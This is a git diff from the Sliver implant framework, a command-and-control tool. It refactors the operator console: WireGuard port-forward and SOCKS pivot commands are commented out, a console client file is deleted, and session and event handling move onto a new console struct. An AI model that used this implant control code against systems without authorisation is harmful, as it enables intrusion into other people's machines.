- strings.Repeat("=", len("Remote Address")))
- for _, fwd := range fwdList.Forwarders {
- fmt.Fprintf(table, "%d\t%s\t%s\t\n", fwd.ID, fwd.LocalAddr, fwd.RemoteAddr)
- }
- table.Flush()
- fmt.Println(outBuf.String())
- }
- }
-}
-
-func wgPortFwdRmCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
- if session.Transport != "wg" {
- fmt.Println(Warn + "This command is only supported for WireGuard implants")
- return
- }
-
- fwdID := ctx.Args.Int("id")
- stopReq, err := rpc.WGStopPortForward(context.Background(), &sliverpb.WGPortForwardStopReq{
- ID: int32(fwdID),
- Request: ActiveSession.Request(ctx),
- })
-
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
-
- if stopReq.Response != nil && stopReq.Response.Err != "" {
- fmt.Printf(Warn+"Error: %v\n", stopReq.Response.Err)
- return
- }
-
- if stopReq.Forwarder != nil {
- fmt.Printf(Info+"Removed port forwarding rule %s -> %s\n", stopReq.Forwarder.LocalAddr, stopReq.Forwarder.RemoteAddr)
- }
-}
-
-func wgSocksStartCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.Get()
- if session == nil {
- return
- }
-
- if session.Transport != "wg" {
- fmt.Println(Warn + "This command is only supported for Wireguard implants")
- return
- }
-
- bindPort := ctx.Flags.Int("bind")
-
- socks, err := rpc.WGStartSocks(context.Background(), &sliverpb.WGSocksStartReq{
- Port: int32(bindPort),
- Request: ActiveSession.Request(ctx),
- })
-
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
-
- if socks.Response != nil && socks.Response.Err != "" {
- fmt.Printf(Warn+"Error: %s\n", err)
- return
- }
-
- if socks.Server != nil {
- fmt.Printf(Info+"Started SOCKS server on %s\n", socks.Server.LocalAddr)
- }
-}
-
-func wgSocksListCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
- if session.Transport != "wg" {
- fmt.Println(Warn + "This command is only supported for WireGuard implants")
- return
- }
-
- socksList, err := rpc.WGListSocksServers(context.Background(), &sliverpb.WGSocksServersReq{
- Request: ActiveSession.Request(ctx),
- })
-
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
-
- if socksList.Response != nil && socksList.Response.Err != "" {
- fmt.Printf(Warn+"Error: %s\n", socksList.Response.Err)
- return
- }
-
- if socksList.Servers != nil {
- if len(socksList.Servers) > 0 {
- outBuf := bytes.NewBufferString("")
- table := tabwriter.NewWriter(outBuf, 0, 3, 3, ' ', 0)
- fmt.Fprintf(table, "ID\tLocal Address\n")
- fmt.Fprintf(table, "%s\t%s\t\n",
- strings.Repeat("=", len("ID")),
- strings.Repeat("=", len("Local Address")))
- for _, server := range socksList.Servers {
- fmt.Fprintf(table, "%d\t%s\t\n", server.ID, server.LocalAddr)
- }
- table.Flush()
- fmt.Println(outBuf.String())
- }
- }
-
-}
-
-func wgSocksRmCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.Get()
- if session == nil {
- return
- }
- if session.Transport != "wg" {
- fmt.Println(Warn + "This command is only supported for WireGuard implants")
- return
- }
-
- socksID := ctx.Args.Int("id")
-
- stopReq, err := rpc.WGStopSocks(context.Background(), &sliverpb.WGSocksStopReq{
- ID: int32(socksID),
- Request: ActiveSession.Request(ctx),
- })
-
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
-
- if stopReq.Response != nil && stopReq.Response.Err != "" {
- fmt.Printf(Warn+"Error: %v\n", stopReq.Response.Err)
- return
- }
-
- if stopReq.Server != nil {
- fmt.Printf(Info+"Removed socks listener rule %s \n", stopReq.Server.LocalAddr)
- }
-}
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2021 Bishop Fox
+
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
+
+// import (
+// "bytes"
+// "context"
+// "fmt"
+// "net"
+// "strings"
+// "text/tabwriter"
+
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/bishopfox/sliver/protobuf/sliverpb"
+// "github.com/desertbit/grumble"
+// )
+
+// func wgPortFwdAddCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
+// if session.Transport != "wg" {
+// fmt.Println(Warn + "This command is only supported for WireGuard implants")
+// return
+// }
+
+// localPort := ctx.Flags.Int("bind")
+// remoteAddr := ctx.Flags.String("remote")
+// if remoteAddr == "" {
+// fmt.Println(Warn + "Must specify a remote target host:port")
+// return
+// }
+// remoteHost, remotePort, err := net.SplitHostPort(remoteAddr)
+// if err != nil {
+// fmt.Print(Warn+"Failed to parse remote target %s\n", err)
+// return
+// }
+
+// pfwdAdd, err := rpc.WGStartPortForward(context.Background(), &sliverpb.WGPortForwardStartReq{
+// LocalPort: int32(localPort),
+// RemoteAddress: remoteAddr,
+// Request: ActiveSession.Request(ctx),
+// })
+
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+
+// if pfwdAdd.Response != nil && pfwdAdd.Response.Err != "" {
+// fmt.Printf(Warn+"Error: %s\n", pfwdAdd.Response.Err)
+// return
+// }
+// fmt.Printf(Info+"Port forwarding %s -> %s:%s\n", pfwdAdd.Forwarder.LocalAddr, remoteHost, remotePort)
+// }
+
+// func wgPortFwdListCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
+// if session.Transport != "wg" {
+// fmt.Println(Warn + "This command is only supported for WireGuard implants")
+// return
+// }
+
+// fwdList, err := rpc.WGListForwarders(context.Background(), &sliverpb.WGTCPForwardersReq{
+// Request: ActiveSession.Request(ctx),
+// })
+
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+
+// if fwdList.Response != nil && fwdList.Response.Err != "" {
+// fmt.Printf(Warn+"Error: %s\n", fwdList.Response.Err)
+// return
+// }
+
+// if fwdList.Forwarders != nil {
+// if len(fwdList.Forwarders) == 0 {
+// fmt.Printf(Info + "No port forwards\n")
+// } else {
+// outBuf := bytes.NewBufferString("")
+// table := tabwriter.NewWriter(outBuf, 0, 3, 3, ' ', 0)
+// fmt.Fprintf(table, "ID\tLocal Address\tRemote Address\t\n")
+// fmt.Fprintf(table, "%s\t%s\t%s\t\n",
+// strings.Repeat("=", len("ID")),
+// strings.Repeat("=", len("Local Address")),
+// strings.Repeat("=", len("Remote Address")))
+// for _, fwd := range fwdList.Forwarders {
+// fmt.Fprintf(table, "%d\t%s\t%s\t\n", fwd.ID, fwd.LocalAddr, fwd.RemoteAddr)
+// }
+// table.Flush()
+// fmt.Println(outBuf.String())
+// }
+// }
+// }
+
+// func wgPortFwdRmCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
+// if session.Transport != "wg" {
+// fmt.Println(Warn + "This command is only supported for WireGuard implants")
+// return
+// }
+
+// fwdID := ctx.Args.Int("id")
+// stopReq, err := rpc.WGStopPortForward(context.Background(), &sliverpb.WGPortForwardStopReq{
+// ID: int32(fwdID),
+// Request: ActiveSession.Request(ctx),
+// })
+
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+
+// if stopReq.Response != nil && stopReq.Response.Err != "" {
+// fmt.Printf(Warn+"Error: %v\n", stopReq.Response.Err)
+// return
+// }
+
+// if stopReq.Forwarder != nil {
+// fmt.Printf(Info+"Removed port forwarding rule %s -> %s\n", stopReq.Forwarder.LocalAddr, stopReq.Forwarder.RemoteAddr)
+// }
+// }
+
+// func wgSocksStartCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.Get()
+// if session == nil {
+// return
+// }
+
+// if session.Transport != "wg" {
+// fmt.Println(Warn + "This command is only supported for Wireguard implants")
+// return
+// }
+
+// bindPort := ctx.Flags.Int("bind")
+
+// socks, err := rpc.WGStartSocks(context.Background(), &sliverpb.WGSocksStartReq{
+// Port: int32(bindPort),
+// Request: ActiveSession.Request(ctx),
+// })
+
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+
+// if socks.Response != nil && socks.Response.Err != "" {
+// fmt.Printf(Warn+"Error: %s\n", err)
+// return
+// }
+
+// if socks.Server != nil {
+// fmt.Printf(Info+"Started SOCKS server on %s\n", socks.Server.LocalAddr)
+// }
+// }
+
+// func wgSocksListCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
+// if session.Transport != "wg" {
+// fmt.Println(Warn + "This command is only supported for WireGuard implants")
+// return
+// }
+
+// socksList, err := rpc.WGListSocksServers(context.Background(), &sliverpb.WGSocksServersReq{
+// Request: ActiveSession.Request(ctx),
+// })
+
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+
+// if socksList.Response != nil && socksList.Response.Err != "" {
+// fmt.Printf(Warn+"Error: %s\n", socksList.Response.Err)
+// return
+// }
+
+// if socksList.Servers != nil {
+// if len(socksList.Servers) > 0 {
+// outBuf := bytes.NewBufferString("")
+// table := tabwriter.NewWriter(outBuf, 0, 3, 3, ' ', 0)
+// fmt.Fprintf(table, "ID\tLocal Address\n")
+// fmt.Fprintf(table, "%s\t%s\t\n",
+// strings.Repeat("=", len("ID")),
+// strings.Repeat("=", len("Local Address")))
+// for _, server := range socksList.Servers {
+// fmt.Fprintf(table, "%d\t%s\t\n", server.ID, server.LocalAddr)
+// }
+// table.Flush()
+// fmt.Println(outBuf.String())
+// }
+// }
+
+// }
+
+// func wgSocksRmCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.Get()
+// if session == nil {
+// return
+// }
+// if session.Transport != "wg" {
+// fmt.Println(Warn + "This command is only supported for WireGuard implants")
+// return
+// }
+
+// socksID := ctx.Args.Int("id")
+
+// stopReq, err := rpc.WGStopSocks(context.Background(), &sliverpb.WGSocksStopReq{
+// ID: int32(socksID),
+// Request: ActiveSession.Request(ctx),
+// })
+
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+
+// if stopReq.Response != nil && stopReq.Response.Err != "" {
+// fmt.Printf(Warn+"Error: %v\n", stopReq.Response.Err)
+// return
+// }
+
+// if stopReq.Server != nil {
+// fmt.Printf(Info+"Removed socks listener rule %s \n", stopReq.Server.LocalAddr)
+// }
+// }
diff --git a/client/console/console-client.go b/client/console/console-client.go
deleted file mode 100644
index 6f591a50db..0000000000
--- a/client/console/console-client.go
+++ /dev/null
@@ -1,51 +0,0 @@
-package console
-
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "fmt"
-
- "github.com/bishopfox/sliver/client/assets"
- "github.com/bishopfox/sliver/client/transport"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
-
- "github.com/desertbit/grumble"
-)
-
-// StartClientConsole - Start the client console
-func StartClientConsole() error {
- configs := assets.GetConfigs()
- if len(configs) == 0 {
- fmt.Printf(Warn+"No config files found at %s or -import\n", assets.GetConfigDir())
- return nil
- }
- config := selectConfig()
- if config == nil {
- return nil
- }
-
- fmt.Printf(Info+"Connecting to %s:%d ...\n", config.LHost, config.LPort)
- rpc, ln, err := transport.MTLSConnect(config)
- if err != nil {
- fmt.Printf(Warn+"Connection to server failed %v", err)
- return nil
- }
- defer ln.Close()
- return Start(rpc, func(*grumble.App, rpcpb.SliverRPCClient) {}, false)
-}
diff --git a/client/console/console.go b/client/console/console.go
index ad0a385372..e3707c87ea 100644
--- a/client/console/console.go
+++ b/client/console/console.go
@@ -29,13 +29,13 @@ import (
"path"
"github.com/bishopfox/sliver/client/assets"
- cmd "github.com/bishopfox/sliver/client/command"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/version"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
+ "gopkg.in/AlecAivazis/survey.v1"
"time"
@@ -45,69 +45,92 @@ import (
const (
// ANSI Colors
- normal = "\033[0m"
- black = "\033[30m"
- red = "\033[31m"
- green = "\033[32m"
- orange = "\033[33m"
- blue = "\033[34m"
- purple = "\033[35m"
- cyan = "\033[36m"
- gray = "\033[37m"
- bold = "\033[1m"
- clearln = "\r\x1b[2K"
- upN = "\033[%dA"
- downN = "\033[%dB"
- underline = "\033[4m"
+ Normal = "\033[0m"
+ Black = "\033[30m"
+ Red = "\033[31m"
+ Green = "\033[32m"
+ Orange = "\033[33m"
+ Blue = "\033[34m"
+ Purple = "\033[35m"
+ Cyan = "\033[36m"
+ Gray = "\033[37m"
+ Bold = "\033[1m"
+ Clearln = "\r\x1b[2K"
+ UpN = "\033[%dA"
+ DownN = "\033[%dB"
+ Underline = "\033[4m"
// Info - Display colorful information
- Info = bold + cyan + "[*] " + normal
+ Info = Bold + Cyan + "[*] " + Normal
// Warn - Warn a user
- Warn = bold + red + "[!] " + normal
+ Warn = Bold + Red + "[!] " + Normal
// Debug - Display debug information
- Debug = bold + purple + "[-] " + normal
+ Debug = Bold + Purple + "[-] " + Normal
// Woot - Display success
- Woot = bold + green + "[$] " + normal
+ Woot = Bold + Green + "[$] " + Normal
)
-// ExtraCmds - Bind extra commands to the app object
-type ExtraCmds func(*grumble.App, rpcpb.SliverRPCClient)
+// Observer - A function to call when the sessions changes
+type Observer func(*clientpb.Session)
+
+type activeSession struct {
+ session *clientpb.Session
+ observers map[int]Observer
+ observerID int
+}
+
+type SliverConsoleClient struct {
+ App *grumble.App
+ Rpc rpcpb.SliverRPCClient
+ ActiveSession *activeSession
+ IsServer bool
+}
+
+// BindCmds - Bind extra commands to the app object
+type BindCmds func(console *SliverConsoleClient)
// Start - Console entrypoint
-func Start(rpc rpcpb.SliverRPCClient, extraCmds ExtraCmds, isServer bool) error {
- app := grumble.New(&grumble.Config{
- Name: "Sliver",
- Description: "Sliver Client",
- HistoryFile: path.Join(assets.GetRootAppDir(), "history"),
- Prompt: getPrompt(isServer),
- PromptColor: color.New(),
- HelpHeadlineColor: color.New(),
- HelpHeadlineUnderline: true,
- HelpSubCommands: true,
- })
- app.SetPrintASCIILogo(func(app *grumble.App) {
- printLogo(app, rpc)
+func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isServer bool) error {
+
+ con := &SliverConsoleClient{
+ App: grumble.New(&grumble.Config{
+ Name: "Sliver",
+ Description: "Sliver Client",
+ HistoryFile: path.Join(assets.GetRootAppDir(), "history"),
+ PromptColor: color.New(),
+ HelpHeadlineColor: color.New(),
+ HelpHeadlineUnderline: true,
+ HelpSubCommands: true,
+ }),
+ Rpc: rpc,
+ ActiveSession: &activeSession{
+ observers: map[int]Observer{},
+ observerID: 0,
+ },
+ }
+ con.App.SetPrintASCIILogo(func(_ *grumble.App) {
+ con.PrintLogo()
})
+ con.App.SetPrompt(con.GetPrompt())
+ bindCmds(con)
+ extraCmds(con)
- cmd.BindCommands(app, rpc)
- extraCmds(app, rpc)
-
- cmd.ActiveSession.AddObserver(func(_ *clientpb.Session) {
- app.SetPrompt(getPrompt(isServer))
+ con.ActiveSession.AddObserver(func(_ *clientpb.Session) {
+ con.App.SetPrompt(con.GetPrompt())
})
- go eventLoop(app, rpc, isServer)
+ go con.EventLoop()
go core.TunnelLoop(rpc)
- err := app.Run()
+ err := con.App.Run()
if err != nil {
log.Printf("Run loop returned error: %v", err)
}
return err
}
-func eventLoop(app *grumble.App, rpc rpcpb.SliverRPCClient, isServer bool) {
- eventStream, err := rpc.Events(context.Background(), &commonpb.Empty{})
+func (con *SliverConsoleClient) EventLoop() {
+ eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
return
@@ -124,30 +147,30 @@ func eventLoop(app *grumble.App, rpc rpcpb.SliverRPCClient, isServer bool) {
switch event.EventType {
case consts.CanaryEvent:
- fmt.Printf(clearln+Warn+bold+"WARNING: %s%s has been burned (DNS Canary)\n", normal, event.Session.Name)
- sessions := cmd.GetSessionsByName(event.Session.Name, rpc)
+ con.Printf(Clearln+Warn+Bold+"WARNING: %s%s has been burned (DNS Canary)\n", Normal, event.Session.Name)
+ sessions := con.GetSessionsByName(event.Session.Name, con.Rpc)
for _, session := range sessions {
- fmt.Printf(clearln+"\tš„ Session #%d is affected\n", session.ID)
+ con.Printf(Clearln+"\tš„ Session #%d is affected\n", session.ID)
}
fmt.Println()
case consts.WatchtowerEvent:
msg := string(event.Data)
- fmt.Printf(clearln+Warn+bold+"WARNING: %s%s has been burned (seen on %s)\n", normal, event.Session.Name, msg)
- sessions := cmd.GetSessionsByName(event.Session.Name, rpc)
+ fmt.Printf(Clearln+Warn+Bold+"WARNING: %s%s has been burned (seen on %s)\n", Normal, event.Session.Name, msg)
+ sessions := con.GetSessionsByName(event.Session.Name, con.Rpc)
for _, session := range sessions {
- fmt.Printf(clearln+"\tš„ Session #%d is affected\n", session.ID)
+ con.PrintWarnf("\tš„ Session #%d is affected\n", session.ID)
}
fmt.Println()
case consts.JoinedEvent:
- fmt.Printf(clearln+Info+"%s has joined the game\n\n", event.Client.Operator.Name)
+ con.PrintInfof("%s has joined the game\n\n", event.Client.Operator.Name)
case consts.LeftEvent:
- fmt.Printf(clearln+Info+"%s left the game\n\n", event.Client.Operator.Name)
+ con.PrintInfof("%s left the game\n\n", event.Client.Operator.Name)
case consts.JobStoppedEvent:
job := event.Job
- fmt.Printf(clearln+Warn+"Job #%d stopped (%s/%s)\n\n", job.ID, job.Protocol, job.Name)
+ con.PrintWarnf("Job #%d stopped (%s/%s)\n\n", job.ID, job.Protocol, job.Name)
case consts.SessionOpenedEvent:
session := event.Session
@@ -157,53 +180,53 @@ func eventLoop(app *grumble.App, rpc rpcpb.SliverRPCClient, isServer bool) {
// This check is here to avoid displaying two sessions events for the same session
if session.OS != "" {
currentTime := time.Now().Format(time.RFC1123)
- fmt.Printf(clearln+Info+"Session #%d %s - %s (%s) - %s/%s - %v\n\n",
+ con.PrintInfof("Session #%d %s - %s (%s) - %s/%s - %v\n\n",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
}
case consts.SessionUpdateEvent:
session := event.Session
currentTime := time.Now().Format(time.RFC1123)
- fmt.Printf(clearln+Info+"Session #%d has been updated - %v\n", session.ID, currentTime)
+ fmt.Printf(Clearln+Info+"Session #%d has been updated - %v\n", session.ID, currentTime)
case consts.SessionClosedEvent:
session := event.Session
- fmt.Printf(clearln+Warn+"Lost session #%d %s - %s (%s) - %s/%s\n",
+ fmt.Printf(Clearln+Warn+"Lost session #%d %s - %s (%s) - %s/%s\n",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch)
- activeSession := cmd.ActiveSession.Get()
+ activeSession := con.ActiveSession.Get()
if activeSession != nil && activeSession.ID == session.ID {
- cmd.ActiveSession.Set(nil)
- app.SetPrompt(getPrompt(isServer))
+ con.ActiveSession.Set(nil)
+ con.App.SetPrompt(con.GetPrompt())
fmt.Printf(Warn + " Active session disconnected\n")
}
fmt.Println()
}
- fmt.Printf(getPrompt(isServer))
+ fmt.Printf(con.GetPrompt())
stdout.Flush()
}
}
-func getPrompt(isServer bool) string {
- prompt := underline + "sliver" + normal
- if isServer {
- prompt = bold + "[server] " + normal + underline + "sliver" + normal
+func (con *SliverConsoleClient) GetPrompt() string {
+ prompt := Underline + "sliver" + Normal
+ if con.IsServer {
+ prompt = Bold + "[server] " + Normal + Underline + "sliver" + Normal
}
- if cmd.ActiveSession.Get() != nil {
- prompt += fmt.Sprintf(bold+red+" (%s)%s", cmd.ActiveSession.Get().Name, normal)
+ if con.ActiveSession.Get() != nil {
+ prompt += fmt.Sprintf(Bold+Red+" (%s)%s", con.ActiveSession.Get().Name, Normal)
}
prompt += " > "
return prompt
}
-func printLogo(sliverApp *grumble.App, rpc rpcpb.SliverRPCClient) {
- serverVer, err := rpc.GetVersion(context.Background(), &commonpb.Empty{})
+func (con *SliverConsoleClient) PrintLogo() {
+ serverVer, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{})
if err != nil {
panic(err.Error())
}
dirty := ""
if serverVer.Dirty {
- dirty = fmt.Sprintf(" - %sDirty%s", bold, normal)
+ dirty = fmt.Sprintf(" - %sDirty%s", Bold, Normal)
}
serverSemVer := fmt.Sprintf("%d.%d.%d", serverVer.Major, serverVer.Minor, serverVer.Patch)
@@ -220,24 +243,144 @@ func printLogo(sliverApp *grumble.App, rpc rpcpb.SliverRPCClient) {
if serverVer.Major != int32(version.SemanticVersion()[0]) {
fmt.Printf(Warn + "Warning: Client and server may be running incompatible versions.\n")
}
- checkLastUpdate()
+ con.CheckLastUpdate()
+}
+
+func (con *SliverConsoleClient) CheckLastUpdate() {
+ // now := time.Now()
+ // lastUpdate := GetLastUpdateCheck()
+ // compiledAt, err := version.Compiled()
+ // if err != nil {
+ // log.Printf("Failed to parse compiled at timestamp %s", err)
+ // return
+ // }
+
+ // day := 24 * time.Hour
+ // if compiledAt.Add(30 * day).Before(now) {
+ // if lastUpdate == nil || lastUpdate.Add(30*day).Before(now) {
+ // fmt.Printf(Info + "Check for updates with the 'update' command\n\n")
+ // }
+ // }
}
-func checkLastUpdate() {
- now := time.Now()
- lastUpdate := cmd.GetLastUpdateCheck()
- compiledAt, err := version.Compiled()
+// GetSession - Get session by session ID or name
+func (con *SliverConsoleClient) GetSession(arg string, rpc rpcpb.SliverRPCClient) *clientpb.Session {
+ sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
- log.Printf("Failed to parse compiled at timestamp %s", err)
- return
+ fmt.Printf(Warn+"%s\n", err)
+ return nil
+ }
+ for _, session := range sessions.GetSessions() {
+ if session.Name == arg || fmt.Sprintf("%d", session.ID) == arg {
+ return session
+ }
}
+ return nil
+}
- day := 24 * time.Hour
- if compiledAt.Add(30 * day).Before(now) {
- if lastUpdate == nil || lastUpdate.Add(30*day).Before(now) {
- fmt.Printf(Info + "Check for updates with the 'update' command\n\n")
+// GetSessionsByName - Return all sessions for an Implant by name
+func (con *SliverConsoleClient) GetSessionsByName(name string, rpc rpcpb.SliverRPCClient) []*clientpb.Session {
+ sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
+ if err != nil {
+ fmt.Printf(Warn+"%s\n", err)
+ return nil
+ }
+ matched := []*clientpb.Session{}
+ for _, session := range sessions.GetSessions() {
+ if session.Name == name {
+ matched = append(matched, session)
}
}
+ return matched
+}
+
+// This should be called for any dangerous (OPSEC-wise) functions
+func (con *SliverConsoleClient) IsUserAnAdult() bool {
+ confirm := false
+ prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"}
+ survey.AskOne(prompt, &confirm, nil)
+ return confirm
+}
+
+func (con *SliverConsoleClient) Printf(format string, args ...interface{}) (n int, err error) {
+ return fmt.Fprintf(con.App.Stdout(), format, args...)
+}
+
+func (con *SliverConsoleClient) Println(args ...interface{}) (n int, err error) {
+ return fmt.Fprintln(con.App.Stdout(), args...)
+}
+
+func (con *SliverConsoleClient) PrintInfof(format string, args ...interface{}) (n int, err error) {
+ return fmt.Fprintf(con.App.Stdout(), Clearln+Info+format, args...)
+}
+
+func (con *SliverConsoleClient) PrintWarnf(format string, args ...interface{}) (n int, err error) {
+ return fmt.Fprintf(con.App.Stdout(), Clearln+Warn+format, args...)
+}
+
+func (con *SliverConsoleClient) PrintErrorf(format string, args ...interface{}) (n int, err error) {
+ return fmt.Fprintf(con.App.Stderr(), Clearln+Warn+format, args...)
+}
+
+//
+// -------------------------- [ Active Session ] --------------------------
+//
+
+// GetInteractive - GetInteractive the active session
+func (s *activeSession) GetInteractive() *clientpb.Session {
+ if s.session == nil {
+ fmt.Printf(Warn + "Please select an active session via `use`\n")
+ return nil
+ }
+ return s.session
+}
+
+// Get - Same as Get() but doesn't print a warning
+func (s *activeSession) Get() *clientpb.Session {
+ if s.session == nil {
+ return nil
+ }
+ return s.session
+}
+
+// AddObserver - Observers to notify when the active session changes
+func (s *activeSession) AddObserver(observer Observer) int {
+ s.observerID++
+ s.observers[s.observerID] = observer
+ return s.observerID
+}
+
+func (s *activeSession) RemoveObserver(observerID int) {
+ if _, ok := s.observers[observerID]; ok {
+ delete(s.observers, observerID)
+ }
+}
+
+func (s *activeSession) Request(ctx *grumble.Context) *commonpb.Request {
+ if s.session == nil {
+ return nil
+ }
+ timeout := int(time.Second) * ctx.Flags.Int("timeout")
+ return &commonpb.Request{
+ SessionID: s.session.ID,
+ Timeout: int64(timeout),
+ }
+}
+
+// Set - Change the active session
+func (s *activeSession) Set(session *clientpb.Session) {
+ s.session = session
+ for _, observer := range s.observers {
+ observer(s.session)
+ }
+}
+
+// Background - Background the active session
+func (s *activeSession) Background() {
+ s.session = nil
+ for _, observer := range s.observers {
+ observer(nil)
+ }
}
var abilities = []string{
@@ -276,7 +419,7 @@ var abilities = []string{
}
var asciiLogos = []string{
- red + `
+ Red + `
āāāāāā āāā āāā āāā āāāāāāāā āāāāāā
āāā ā āāāā āāāāāāāā āāāā ā āāā ā āāā
ā āāāā āāāā āāāā āāā āāāāāāā āāā āāā ā
@@ -286,23 +429,23 @@ var asciiLogos = []string{
ā āā ā āā ā ā ā ā ā ā āā ā ā ā āā ā āā
ā ā ā ā ā ā ā āā ā āā ā
ā ā ā ā ā ā ā ā
-` + normal,
+` + Normal,
- green + `
+ Green + `
āāāāāāāāāāā āāāāāā āāāāāāāāāāāāāāāāāā
āāāāāāāāāāā āāāāāā āāāāāāāāāāāāāāāāāāā
āāāāāāāāāāā āāāāāā āāāāāāāāā āāāāāāāā
āāāāāāāāāāā āāāāāāā āāāāāāāāāā āāāāāāāā
āāāāāāāāāāāāāāāāāāā āāāāāāā āāāāāāāāāāā āāā
āāāāāāāāāāāāāāāāāāā āāāāā āāāāāāāāāāā āāā
-` + normal,
+` + Normal,
- bold + gray + `
+ Bold + Gray + `
.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
` + "`------'`------'`------'`------'`------'`------'" + `
-` + normal,
+` + Normal,
}
diff --git a/server/console/console.go b/server/console/console.go
index 6ae4950cb8..5916623d3a 100644
--- a/server/console/console.go
+++ b/server/console/console.go
@@ -25,6 +25,7 @@ import (
"github.com/desertbit/grumble"
+ "github.com/bishopfox/sliver/client/command"
clientconsole "github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/help"
@@ -53,15 +54,15 @@ func Start() {
}
defer conn.Close()
localRPC := rpcpb.NewSliverRPCClient(conn)
- clientconsole.Start(localRPC, serverOnlyCmds, true)
+ clientconsole.Start(localRPC, command.BindCommands, serverOnlyCmds, true)
}
// ServerOnlyCmds - Server only commands
-func serverOnlyCmds(app *grumble.App, _ rpcpb.SliverRPCClient) {
+func serverOnlyCmds(console *clientconsole.SliverConsoleClient) {
// [ Multiplayer ] -----------------------------------------------------------------
- app.AddCommand(&grumble.Command{
+ console.App.AddCommand(&grumble.Command{
Name: consts.MultiplayerModeStr,
Help: "Enable multiplayer mode",
LongHelp: help.GetHelpFor([]string{consts.MultiplayerModeStr}),
@@ -78,7 +79,7 @@ func serverOnlyCmds(app *grumble.App, _ rpcpb.SliverRPCClient) {
HelpGroup: consts.MultiplayerHelpGroup,
})
- app.AddCommand(&grumble.Command{
+ console.App.AddCommand(&grumble.Command{
Name: consts.NewPlayerStr,
Help: "Create a new player config file",
LongHelp: help.GetHelpFor([]string{consts.NewPlayerStr}),
@@ -97,7 +98,7 @@ func serverOnlyCmds(app *grumble.App, _ rpcpb.SliverRPCClient) {
HelpGroup: consts.MultiplayerHelpGroup,
})
- app.AddCommand(&grumble.Command{
+ console.App.AddCommand(&grumble.Command{
Name: consts.KickPlayerStr,
Help: "Kick a player from the server",
LongHelp: help.GetHelpFor([]string{consts.KickPlayerStr}),